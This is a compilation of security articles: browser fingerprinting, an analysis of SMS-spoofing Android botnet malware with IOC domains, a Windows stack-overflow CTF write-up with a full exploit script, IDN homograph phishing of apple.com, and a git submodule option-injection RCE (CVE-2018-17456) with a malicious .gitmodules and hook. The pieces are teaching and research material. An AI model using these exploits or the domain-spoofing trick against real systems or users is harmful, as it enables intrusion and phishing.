的正方形，通过随机选择每个像素的颜色来创建。也就是说，我们在一个像素的三个基色（红色，绿色和蓝色）之间产生 0 和 255
之间的三个随机值，将三个基色混合在一起，并将其用作像素的颜色。
之所以选择这个随机生成的纹理，是因为这个纹理比常规纹理具有更多的指纹特征。原因如下，当片段着色器将纹理映射到模型时，片段着色器需要在纹理中插入点，以便将纹理映射到模型上的每个点。插入值算法在不同的显卡中是不同的，当纹理变化很大时，差异就被放大。因此，我们需要生成在每对相邻像素之间颜色变化很大的这种纹理。
###### 2\. task（d）：线和曲线
图（d）中的任务是测试线和曲线。 在画布上绘制一条曲线和三条不同角度的直线。具体来说，曲线遵循以下功能：y = 256-100cos（2.0πx/
100.0）+ 30cos（4.0πx/ 100.0）+ 6cos（6.0πx/ 100.0），其中[0,0]为画布的左上角，x轴向右增加，y轴增加到底部。
三行的起点和终点是 {[38.4,115.2]，[89.6,204.8]}，{[89.6,89.6]，[153.6,204.8]} 和
{[166.4,89.6]，[217.6,204.8]}。
选择这些特定的线条和曲线，以便测试不同的渐变和形状。
###### 3\. task（f）：光
图（f）中的任务是测试漫射点光和 Suzanne 模型的相互作用。 漫射点光在照亮物体时会引起漫反射。 具体地说，该光是在 RGB
上具有相同值的白色，对于每种原色，光的功率为2，光源位于 [3.0，-4.0，-2.0]。
在这个任务中选择一个白光源，因为纹理是各种颜色的，单色光可能会减少纹理上的一些微妙差异。 光线的强度需要精心设计。非常弱的光线不会照亮 Suzanne
模型，模型就会不可见；非常强的光会使一切变白，减少指纹特征。
在 6 台机器的小规模实验中，功率从 0 增加到 255，我们发现当光功率为2时，这些机器之间的像素差异最大。光照位置可随机选择，不会影响特征指纹识别结果。
可以看出,这些任务深入研究了图片渲染引擎的特征，js
没办法直接获取到显卡的设置和驱动，但是通过这种方法，当不同的显卡渲染同一张图片时，因设置不同，渲染出来的图片 hash 也不同。用这种图片 hash
作为特征，其实是从侧面得到机器显卡的特征，同一台机器在不同的浏览器上用到同一个显卡，所以可以看到这些 task 的跨浏览器稳定性都很高，总共 10 余种
task。
Paper中除了这些task，还有一些其他新颖的东西
###### 1\. CPU内核数量
这个在之前的设备指纹方案中都是没有使用到的，现代浏览器可以用 navigator .hardware Concurrency
来获取。如果不支持这个方法，则可以利用另一种方式获取，具体来说是，当增加 Web Worker 的数量时，可以监视 payload
的完成时间。当计算量达到一定的程度，Web Woker 完成 payload
的时间显著增加，达到硬件并发的限制，从而判断核心的数量。一些浏览器（如Safari）会将 Web Workers
的可用内核数量减少一半，所以在获取跨浏览器指纹时，我们需要将获取到的核心数量加倍。
此处内容，有兴趣的同学可以看看[这篇文章](https://eligrey.com/blog/cpu-core-estimation-with-javascript/)。
###### 2\. writing script(language)
这个其实可以理解为语言，但不是当前浏览器所使用的语言，而是系统支持的所有语言，比如中文简体、中文繁体、英语，js
中并没有接口直接获取这种语言，但是这里作者想到了另一种方法，就是在页面中用所有的语言写两个字，如果系统支持该语言，那么就能正常写出来；如果不支持，显示出来的就是方框。通过这种方法获取系统支持的语言。
###### 3\. AudioContext
能熟悉设备指纹的同学都知道，AudioContext 在很多设备指纹项目上都用到了。具体来说，现有的指纹识别工作使用 OscillatorNode
产生一个三角波，然后将波传 Dynamics Compressor Node，一个调节声音的信号处理模块，产生压缩效果。 然后，经处理的音频信号通过
Analyser Node 转换为频率域。
该 paper
指出，频域在不同的浏览器中是不同的，这个特征受浏览器的影响，不能完全反应出声卡的特征。也就是说，现有的方案只能识别单浏览器。但是他们发现，频率和峰值的比，在浏览器之间是相对稳定的。
因此，在频率和值的坐标系上创建一个间距很小的列表，并将峰值频率和峰值映射到相应的格子。
如果一个格子包含一个频率或值，我们将格子标记为1，否则为0，这样的格子列表用作跨浏览器特征。
除了波形处理外，还能从音频设备上获取以下信息：采样率、最大通道数、输入数、输出数、通道数、通道数模式和通道解释。
这是现有的设备指纹工作没有用到的又一个跨浏览特征。
在 demo 站中，从我电脑上收集到的信息如下
我跨浏览器测试的结果，的确能够跨浏览器识别，看到这里，由衷的佩服该项目。
#### 04\. 查看代码
在我看来，十多个 task，AudioContext，CPU core number，writing
script，跨浏览器稳定性都如此之高，做一些机器学习的分析工作，算一算相似性，真的非常容易达到跨浏览器识别的目的。
但我们来看看后端分析代码，如下：
这是代码中获取到的从前端传来的特征，然后就该通过这些特征计算跨浏览器指纹了。
但是，他只是简单的把这些项目加到一起 hash 了一下，就作为跨浏览器指纹。
虽然 demo 站说明了跨浏览器指纹还在开发中，并没有什么复杂的计算，跟 paper 中提到的分析方式完全不同，跟我预期的什么机器学习的方式也不同。
但是，跨浏览器的特征倒是选用了一些稳定性极高的特征，所以直接 hash 也能进行跨浏览器识别。
Paper 中的思路真的很好，所以沿着这个思路，我们还有很多工作要做。
#### 05\. 最后说一句
该 paper 中一直提到的 IP 不可信的问题，既然是黑客溯源，对面是黑客，提出这个观点也无可厚非，毕竟大家都会挂 VPN 或者用肉鸡。但是 IP
作为一个重要信息，在设备指纹项目中，还是有用武之地的。
我个人的观点：IP 虽然不可信，但是短时间的 IP 是可信的。
各位可以自己去试试 IP+设备指纹的区分度还是很好的，而且很大程度上能解决一部分跨浏览器识别的问题。
本文仅是自己的一些心得分享，欢迎大家在评论区留言，也可关注我的个人微博@chengable。浅知拙见，抛砖引玉，期待与大家的交流。
* * *
**作者简介：**
程进，默安科技影武者实验室安全工程师。主要参与一些安全产品的安全能力推进，包括幻盾的蜜网、黑客溯源技术，SDL雳鉴的漏洞扫描、代码审计等。
* * * | 社区文章 |
# 一种虚假“短信通道商”黑产活动的揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
奇安信安全能力中心移动安全分析团队在日常的恶意活动监控过程中，发现了一种黑产基于僵尸网络的新型变现方式，该变现方式实现了黑客宣称的“能发送任意内容的营销短信“。黑客通过用户手机构建的僵尸网络，冒充“短信通道商”向广告主骗取短信营销费用，用户手机被控制，手机会在黑客的控制下，读取远程虚假短信内容，插入到短信收件箱，导致手机莫名奇妙收到很多“广告短信”的现象。
以下是奇安信病毒响应中心对上述黑产变现方式的技术分析，希望安全业界对此类威胁引起必要的重视。
## 技术背景
### 短信营销的基础设施
短信营销已经变成线上推广的必备武器，短信营销有其独特的优势，短信营销范围没有地域范围限制，传送方便，并且可以针对不同的用户进行不同产品的推广，避免资源浪费，短信营销也更直接，相比线上广告，客户对短信营销的厌恶感较低，而且能在最短的时间，将信息传播出去，提升了营销效率。然而，如果一家企业采用短信营销的方式，免不了要与短信通道商进行接触。
短信通道指的是由中国移动、联通、电信等运营商直接提供的短信发送接口，从而实现与目标号码进行大批量短信发送的通道。国内的短信通道主要以中国移动为主，目前占据65%–70%的市场份额。
短信通道分为：106通道、电信虚拟短信通道：电话区号（类似021）的、1069三网合一企业实名制通道。
三网合一可以群发三网的手机短信(移动、联通、电信)，一般针对企业使用，通道商对企业进行实名制登记备案，可以通过短信通道向指定的号码发送验证码、活动、宣传、祝福等营销短信。在正规的短信通道发短信需要付费，发短信时通道代理商也会遵守相关法律法规，审核企业所属行业及提交的短信内容是否为敏感内容。
目前发送正规内容短信的价格据了解，验证码在0.05元一条，营销短信大约在0.06~0.1元钱一条。按行业不同，一般通道商一次接受短信发送量最低10000条起。
### 正规短信通道发短信逻辑
基于短信营销的巨大优势，市面上存在很多正规短信通道代理商，共同为企业短信线上营销提供服务。
广告主向短信通道代理商提出发送短信营销的需求，并提交短信相关资料，如企业营业执照、企业所属行业、短信内容、用户手机号码包、短信签名、营销费用等。
通道代理商会仔细审核企业资质，短信内容是否敏感或违规，并在正常的时间点（不能深夜）对用户发送营销短信。
通道代理商会的审核规则是动态的，会根据日期、国家政策、监管力度、短信内容是否含有敏感信息等维度进行调整，也会对企业发送营销短信的频率进行控制。
### 虚假短信通道的实现原理
由于短信通道对贷款、电商、黑五类等敏感内容审核严格，需要各种资质登记备案，这种趋势会持续延续下去，在此情形下，敏感行业需要寻求其它推广渠道。黑客推广在推广行业是一种隐秘的存在，他们宣称能推广任意内容的短信，包括贷款、黑五类等内容。
图1：宣称能推广任意内容业务人员
图2：收到的广告“营销短信”
通过这种方式黑客构建了一条虚假的“短信通道”，然后黑客通过冒充正规短信通道，对外承接业务，无论是正规的短信通道，还是虚假的短信通道，都能实现短信内容到达用户手机的目的。
## 黑产执行细节
### 整体黑产链条
奇安信移动安全团队对虚假短信通道黑产产业链总结图示如下：
图3：虚假短信通道诈骗过程图
### 隐蔽的虚假短信通道
由于虚假短信通道大多为黑灰产提供违规短信内容传播服务，实现逃避监管的情况下，违规内容到达用户手机，还能控制短信到达用户手机的频率，广告主只能通过转化率、点击率来判断是否继续投放，已经投放的也不会退款。
黑客通过恶意软件构建的手机僵尸网络，但这些手机一般都为真实用户，并且黑灰产比较喜欢这类不用审核内容，还能让自己的广告到达用户手机的推广渠道，这样就导致虚假通道对黑灰产的效果能让双方都满意，这样的推广方式也就更加隐蔽。
通过对该类构建虚假通道APP的批量分析，发现使用独立的包插入色情APP中，这些色情APP通过包名、签名随机化的方式，加上代码的高强度混淆，导致杀毒软件的检测存在一定的滞后性。
图4：随机化应用包名与签名对抗安全检测
### 恶意APP传播方式
我们发现该类行为的APP均是通过色情软件的形式诱导用户安装，根据包名和签名信息可以看出，属机器自动修改生成，通过高强度混淆来对抗传统安全软件的查杀。
图5：恶意APP的图标
通过恶意APP出现的时间判断，该类型APP还在不断更新，时间跨度在一年，可以断定，该虚假短信通道已运营一年之久。
图6：APP爆发时间
### 虚假短信通道技术分析
在对该APP进一步分析中，我们发现该APP通常以一个独立的包存在，以独立包存在的好处是方便通过重打包的方式插入其它应用中，更有利于批量制作恶意APP。
图7：实现虚假短信通道的恶意包
首先恶意包会加载一个so文件，所有功能均在该so中，该文件目前大部分安全软件均未报毒。
图8：各家杀软不报毒
图9：加载恶意so
该恶意包与远程服务器建立内容传输通道，与远程服务器持续建立链接，感染越多则会构成手机僵尸网络。
图10：与远程服务器建立连接
图11：持续与远程服务器通讯，随时接收内容
通过反射调用Java代码，向短信数据库中插入远程服务器下发的违规内容，该方法可能使一些垃圾短信拦截软件失效。
图12：往手机插入短信，实现短信到达用户手机
经过奇安信安全分析团队监测发现该APP插入的违规内容短信如下:
图13：远程服务器下发的短信
### 虚假短信通道溯源
该APP推广的方式包含常见的强制弹框推广，并推广保健类产品。
图14：恶意APP推广流量图
图15：APP推广的保健类产品
图16：推广保健类产品的APP推广公司
经奇安信移动安全分析团队研究发现，色情APP在遇到未Root的手机时，都会尝试先使用漏洞获取用户手机Root权限，在此前提下，可以对短信数据库文件进行增删改查操作，以此类推，市面上用到的本地数据库而加密强度不高，并且用来存储的第三方即时通讯软件、社交软件聊天记录的APP均会受此手法攻击，目的是增加发送的“短信”曝光率、点击率，曝光率、点击率高则广告主更满意。
## 总结
目前来看，市面上使用该方法骗取广告主营销费用的案例并不多，经过测试，我们发现，使用本地数据库作为存储的均存在被恶意添加内容的风险。奇安信移动安全分析团队在此提醒，对本地数据库存储的信息有较高安全性要求的APP，加入校验逻辑，校验一致性可降低被攻击的风险，同时提醒企业短信营销人员，在寻找短信通道商时，仔细甄别资质，详细测试短信相关数据，以免被骗。奇安信病毒响应中心，将持续对最新的恶意安卓APK攻击活动进行及时分析与更新，目前奇安信全系产品均可对此攻击活动进行告警。
## IOC
e.angshuwl.com
d.angshuwl.com | 社区文章 |
> 一直都感觉win
> pwn很难所以就没接触过，但是看了一些CVE之后还有ZDI最近公布的一些CVE，发现win/软件上的漏洞占比要比linux上的占比多很多，所以打算从最基础的开始学习并记录一下学习过程。笔者在这win
> pwn方面纯属小白，如有错误欢迎指正
# win pwn初探（一）
## 环境搭建
首先笔者给出自己的本机环境和虚拟机环境
本机环境：m1 pro
虚拟机环境：PD 17，Windows 11 专业版-21H2
虽然是arm windows但是可以运行x32和x64的程序
### 安装checksec
这里笔者摸索了挺长时间的，winchecksec笔者因为各种各样的环境问题导致没有安装成功，但是笔者找到了一个在win上可以直接checksec的[github项目](https://github.com/Wenzel/checksec.py)，只需要去它的[releases](https://github.com/Wenzel/checksec.py/releases)下载[checksec.exe](https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe)即可。
### 安装winpwn
这个就和linux下的pwntools类似，[使用地址](https://github.com/byzero512/winpwn)，安装的话直接执行以下命令即可
* pip3 install winpwn
* pip3 install pefile
* pip3 install keystone-engine
* pip3 install install capstone
安装完成之后就可以`from winpwn import *`了
### 安装windbg
其实可以直接用ollydbg、x32dbg、x64dbg，但是笔者看见很多win上CVE复现都用的是windbg，所以笔者也去装了一个
直接去windows的store商店搜索windbg，直接点击安装即可
笔者学到目前为止只用到了上面的这三个工具，后续用到其他的话就继续添加吧
## winpwn保护机制
win上的保护要比linux上的保护多上很多，这里笔者写了一个测试程序然后使用vs2022 preview默认编译成x64的exe
# include <stdio.h>
int main(int argc, char** argv) {
printf("hello world");
return 0;
}
`.\checksec.exe 目标程序`就可以看见目标程序的保护机制
NX：这个在win上其实是DEP，堆栈不可执行保护
Canary：这个在win上其实是GS，可能这个工具的开发者为了让我们更好理解才写了Canary，但是需要注意的是这个工具的canary检测可能检测不准
ASLR：通俗讲就是地址随机化，让exe和dll的地址全部随机，所以就有了大名鼎鼎 **Heap Spray** （堆喷）利用技术，Heap
Spray是在shellcode的前面加上大量的slide
code（滑板指令），组成一个注入代码段。然后向系统申请大量内存，并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流，使得程序执行到堆上，最终将导致shellcode的执行。
Dynamic Base：程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能
High Entropy VA：如果指定此选项，则当内核将进程的地址空间布局随机化为 ASLR 的一部分时，兼容版本的 Windows
内核可以使用更高的熵。 如果内核使用更高的熵，则可以将更多的地址分配给堆栈和堆等内存区域。 因此，更难猜测特定内存区域的位置。当该选项打开时，当这些模块作为
64 位进程运行时，目标可执行文件和它所依赖的任何模块必须能够处理大于 4 GB 的指针值。
SEH：结构化异常处理（Structured Exception Handling，简称 SEH）是一种Windows
操作系统对错误或异常提供的处理技术。SEH 是 Windows操作系统的一种系统机制，本身与具体的程序设计语言无关。SEH
为Windows的设计者提供了程序错误或异常的处理途径，使得系统更加健壮
SafeSEH：为了防止攻击者通过覆盖堆栈上的异常处理函数句柄，从而控制程序执行流程的攻击，在调用异常处理函数之前，对要调用的异常处理函数进行一系列的有效性校验，如果发现异常处理函数不可靠，立即终止异常处理函数的调用。不过SafeSEH需要编译器和系统双重支持，缺少一个则保护能力基本就丧失了
Force Integrity：强制签名保护
Control Flow Guard：控制Flow防护 (CFG) 是一项高度优化的平台安全功能，旨在打击内存损坏漏洞。
通过严格限制应用程序可以从何处执行代码，利用漏洞（如缓冲区溢出）执行任意代码会更加困难
Isolation：隔离保护，默认会开启
Authenticode：签名保护
以上是checksec的每个保护机制的简要解释，看到这里可能还会迷迷糊糊的，后续的win
pwn文章利用会有绕过这些保护，到时候会详细的解释，包括什么是TIB，TEB等
## 初探栈溢出
这里用比较经典的`root-me PE32 - Stack buffer overflow basic`win pwn题来上手熟悉一下
[题目地址](https://www.root-me.org/zh/%E6%8C%91%E6%88%98/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F-%E7%B3%BB%E7%BB%9F/PE32-Stack-buffer-overflow-basic)，题目也给出了源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#define DEFAULT_LEN 16
void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
}
int main(void)
{
char buff[DEFAULT_LEN] = {0};
gets(buff);
for (int i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}
### checksec
将程序利用scp下载到本地，然后checksec看一下保护机制
上面显示开了Canary，但是在ida分析的时候是没有开canary的
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[15]; // [esp+0h] [ebp-14h] BYREF
char v5; // [esp+Fh] [ebp-5h]
int i; // [esp+10h] [ebp-4h]
memset(buf, 0, sizeof(buf));
v5 = 0;
gets(buf);
for ( i = 0; i < 16; ++i )
buf[i] = toupper(buf[i]);
printf("%s\n", buf);
return 0;
}
笔者修了一下之后ida分析结果最后如上
这个程序意思就是输入buf，然后把buf的小写字母转换成大写字母最后输出出来，但是gets的话会导致栈溢出漏洞
现在我们以linux平台下的攻击思路来的话就是一个ret2text，后门地址是0x401000
.text:00401000 ;org 401000h
.text:00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:00401000 55 push ebp
.text:00401001 8B EC mov ebp, esp
.text:00401003 68 00 B0 41 00 push offset aCWindowsSystem ; "C:\\Windows\\system32\\cmd.exe"
.text:00401008 E8 BF 2B 00 00 call sub_403BCC
.text:00401008
.text:0040100D 83 C4 04 add esp, 4
.text:00401010 5D pop ebp
.text:00401011 C3 retn
ida分析之后发现偏移为0x14，所以`payload = b'a' * (0x14 + 4) + p32(0x401000)`
发送过去之后成功的劫持了程序流到后门地址上，成功获取一个shell
最终exp
from winpwn import *
from time import *
context.log_level='debug'
context.arch='i386'
file_name = './ch72.exe'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')
r.interactive()
## 总结
这篇初探文章只是简单的了解了windows下的保护机制，和winpwn的一个用法，后续会学习如何调试，如何绕过这些保护，包括如何用pwntools来写exp
## Reference
<http://blog.chinaunix.net/uid-24917554-id-3492618.html>
<https://www.jianshu.com/p/4f89f810d98e> | 社区文章 |
# 【技术分享】任意伪造大站域名（以Apple官网为例）
|
##### 译文声明
本文是翻译文章，文章来源：xudongz.com
原文地址：<https://www.xudongz.com/blog/2017/idn-phishing/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[陈匡kk](http://bobao.360.cn/member/contribute?uid=2818953166)
预估稿费：60RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**你相信这是一个钓鱼网站的域名吗？**
Punycode可以让域名由外文组成。Punycode使用ASCII字符集，可以把外文域名转换成有意义的字符。例如，域名「[xn--s7y.co](http://xn--s7y.co)」，会被转换成「[短.co](http://%E7%9F%AD.co)」。
在安全角度看，由於Unicode字符与ASCII字符难以区分，所以注册Unicode域名「xn--pple-43d.com」，会被转换成「apple.com」。乍看下域名没大分别，可是「apple.com」的a用编码Cyrillic
(U+0430)，而不是编码ASCII (U+0041)。这就是传统的IDN欺骗。
幸运的是，现在的浏览器有防御机制限制IDN欺骗。像火狐和Chrome浏览器，如果域名包含多个不同语言的外文编码，就会把域名的Unicode编码以正则表达式显示。例如，「apple.com」会被显示为「xn
--pple-43d.com」，这就避免与真正的苹果官网混淆。
火狐和Chrome的IDN欺骗防御机制是可以被绕过的，如整个钓鱼网站域名都是由一种语言的外文编码组成，例如[
**「apple.com」**](http://apple.com)，是由Cyrillic编码[ **「xn--80ak6aa92e.com」**](http://xn--80ak6aa92e.com)所组成。经常发生IDN欺骗，是因为在火狐和Chrome上，所有英文都是采用同一字体，因此在视觉上难以区分域名是由哪种编码组成。在这情况下，用户只能靠SSL证书来识别网站的真伪性。
2017年1月20日，这漏洞已经提交给火狐和Chrome，而Chrome 59已经把这漏洞修复。Chrome团队决定把Chrome
58也纳入修复中，预计在4有25日就能完成修复。而火狐则表示这漏洞未能解决。在火狐漏洞平台中，这漏洞状态由「修复中」转为「不会修复」，并把危险级别标为「低危」。
火狐用户想修复这漏洞，可以前往about:config并设置network.IDN_show_punycode为true，以正则表达式来显示IDN域名，从而分辨域名的真伪性。
**各浏览器测试截图**
**Chrome**
****
**Firefox**
**Firefox SSL**
**总结**
当用户从网站输入个人资料，必须注意域名的真伪性。同时，希望火狐能够考虑修复这个漏洞。 | 社区文章 |
**Author：Hcamael@Knownsec 404 Team**
**Date: October 15, 2018**
**Chinese Version:** <https://paper.seebug.org/716/>
### Gather Information
When I first started doing research on this vulnerability, there was little
available information on the Internet. The most detailed is in the [github
blog](https://blog.github.com/2018-10-05-git-submodule-vulnerability/ "github
blog").
I learned that the author of the vulnerability was
[@joernchen](https://twitter.com/joernchen "@joernchen"). I went over his
twitter and I found a useful tweet:
I also searched `CVE-2018-17456` on twitter and found that
[@_staaldraad](https://twitter.com/_staaldraad) had verified it successfully:
Unfortunately, it had been mosaiced. I also found some useful information
through Google (the url could not be found). For example, the vulnerability
could not successfully recur on Windows, because `:` is not a valid file name
on Windows yet.
### Research and analysis
I could not complete the recurrence of this vulnerability while there was
little information online. So I only tested it by source code and debugging.
I used `woboq_codebrowser` to generate the [latest version
of](https://0x48.pw/git/ "latest version of") `git v2.19.1` for easy auditing.
With the source code, I found that if I used `gIT_TRACE=1` before the `git`
command, I could enable git's own command trace, and track git's
`run_command`.
First I created a source and created its submodules (tested with git v2.19.0):
$ git --version
git version 2.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ cd evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into '/home/ubuntu/evilrepo/test1'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), done.
$ cat .gitmodules
[submodule "test1"]
path = test1
url = https://github.com/Hcamael/hello-world.git
From the collected information, the trigger point of the vulnerability was the
url parameter. If I started with `-`, it will be parsed into a parameter. So I
tried to modify the url.
$ cat .gitmodules
[submodule "test1"]
path = test1
url = -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
Modify .git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
Here you can choose to delete the submodule data, or you can modify the url directly
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -test
$ GIT_TRACE=1 git submodule update --init
We will see this commend in the result:
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'
The `-test` I set was recognized as `-t` by `git clone`. The vulnerability was
found. Next I had to consider how to execute the command with the `git clone`
parameter.
I found that the git has special characters, such as spaces:
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -te st
$ GIT_TRACE=1 git submodule update --init
.....
git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st'
.....
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1
.....
If there are special characters, they will be enclosed in single quotes.
I looked through the source code and found the [github
blog](https://blog.github.com/2018-10-05-git-submodule-vulnerability/ "github
blog"), which was a whitelist filter.
Only the uppercase and lowercase letters, numbers, and the following special
characters would not be enclosed in single quotes:
static const char ok_punct[] = "+,-./:=@_^";
I felt that it can not be avoided (I couldn't anyway)
Next I used parameters to execute commands to see what would happen.
In the process of searching twitter, I also came across previous article of
Git [github blog](https://blog.github.com/2018-10-05-git-submodule-vulnerability/ "github blog") and found that the hook is used to achieve the
effect of RCE. I related this with [@_staaldraad
](https://twitter.com/_staaldraad)'s tweets and I came up with an idea. But
before I talk about this method, let's first talk about some basics of `git
submodule`.
#### Simple Explanation of git submodule Mechanism
First let's look at the parameters of `.gitmodules`:
[submodule "test1"]
Path = test2
Url = test3
`test1` means submodule's name, the parameter used is `--name`, and the data
of the subproject `.git` directory will be stored in the `.git/modules/test1/`
directory.
`test2` indicates the path stored by the subproject, indicating that the
contents of the subproject will be stored in the `./test2/` directory.
`test3` means the remote address of the subproject. If it is a local path, it
is to pull the local source.
Push the local project to the remote. It is impossible to push the `.git`
directory, you can only push the `.gitmodules` file and the `test2` directory.
So how does the remote identify the directory as a submodule? When adding
submodule locally, a .git file will be added in the `test2` directory (I had
deleted it, but you can add one to see its contents)
$ cat test2/.git
Gitdir: ../.git/modules/test1
This points to the project's `.git` path, the file will not be pushed to the
remote, but during the process of pushing, the file will let git recognize
that the directory is a submodule directory. Other files in the directory will
not be submited to the remote. And this file will create a link to the file
remotely, pointing to the submodule address:
(I personally understand that it can be seen as a soft connection under Linux)
This soft connection is very important. If the remote test2 directory does not
have the soft connection, the subproject pointing to the path in the
`.gitmodules` file will give clone to the local (with the --recurse-submodules
parameter), the subproject will not take effect.
After learning about the general working mechanism of submodule, let’s talk
about the idea of RCE.
We can set the url as follows:
Url = --template=./template
This is a template option, and you can search for it in detail.
When this option is set, and the subproject is cloned locally, the `.git`
directory of the subproject is placed in the `.git/modules/test1` directory.
Then the specified categories of files in the template directory will also be
copied to the `.git/modules/test1` directory. These kinds of files are hooks.
So, only when we set a `./template/hook/post-checkout`, add executable
permissions to `post-checkout`, write the commands that need to be executed,
and the subproject executes the `git chekcout` command, the script will be
executed.
$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
#!/bin/sh
Date
Echo 'PWNED'
$ chmod +x fq/hook/post-checkout
$ ll
Total 24
Drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./
Drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../
Drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/
Drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/
-rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules
Drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/
$ cat .gitmodules
[submodule "test1"]
Path = test2
Url = --template=./fq
$ GIT_TRACE=1 git submodule update --init
I set up the PoC, tried again, and found that the error had failed. The main
problems were as follows:
Git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/ Evilrepo/test2
Fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
Fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed
To resolve the command:
Git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
After we set `{url}` as a parameter, `/home/ubuntu/evilrepo/{path}` became the
source address. This address was judged to be the local source directory, so
it would look for the `git` fiel in the directory. But because the directory
was remotely set to a soft connection, so there would ba no files after the
cloning. This directory was unlikely to exist in the `.git` directory, so the
command fails to execute.
Let's see what command called it:
git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq
Parse the command:
Git submodule--helper clone --path {path} --name {name} --url {url}
The path, name, and url are all controllable, but there are filters. The
filtering rules are the same as the url whitelist filtering rules mentioned
above.
The command function -> <https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone>
I considered a lot, such as setting path or name as `--url=xxxxx`
But they all failed. Because there was no other data after the `--path` and
`--name` parameters, so `--url=xxxx` will be parsed into name or path. There
is a space missing, but if there is a space, the data will be quoted in single
quotes, and there is currently no way to bypass.
So there is no progress in the use of this order......
So the focus is back on the previous `git clone` command:
Git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
Strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);
Sm_gitdir = absolute_pathdup(sb.buf);
The `/home/ubuntu/evilrepo/.git/modules/{name}` path is directly stitched by
using the above code, and I did not find the way to bypass.
The last is `/home/ubuntu/evilrepo/{path}`. If only git could resolve this to
a remote address. So I thought about:
`/home/ubuntu/evilrepo/[email protected]:Hcamael /hello-world.git`
But it failed. It was still parsed to local path by git. I looked at the path
code:
If (!is_absolute_path(path)) {
Strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
Path = strbuf_detach(&sb, NULL);
} else
Path = xstrdup(path);
Because `[email protected]:Hcamael/hello-world.git` was judged to be a non-absolute path, so the path to the current directory was added to the front.
Then I was stuck in a dead end, and no solution could be found.
### RCE
After continuous research, it was found that
`[email protected]:Hcamael/hello-world.git` was successfully executed in the
lower version of git.
First let's look at the picture:
I used Ubuntu 16.04, and the default git is 2.7.4. Then I checked the source
code of this version and found that there were no such lines in this version.
If (!is_absolute_path(path)) {
Strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
Path = strbuf_detach(&sb, NULL);
} else
Path = xstrdup(path);
So the constructed command became:
$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq [email protected]:Hcamael/hello-world.git
After comparing the results of my successful execution with the screenshots in
[@_staaldraad](https://twitter.com/_staaldraad)'s tweet, I found that it is
almost the same. I guess his recurrence of this git environment was also under
the lower version of git.
### Summary
After looking through the commit history of git, I found that a judgment on
whether the path is an absolute path had already been added in 2016. According
to my research, the CVE-2018-17456 vulnerability can cause git option
parameter injection, but only the low version of git can cause RCE effect
according to this CVE.
* * *
### Update
On Github, someone has announced a PoC that worked in other version of git:
<https://github.com/joernchen/poc-submodule>
Combined with my PoC, git not patching this vulnerability can get RCE
### Reference
1. <https://blog.github.com/2018-10-05-git-submodule-vulnerability/>
2. <https://0x48.pw/git/>
3. <https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty>
4. <https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/>
5. <https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
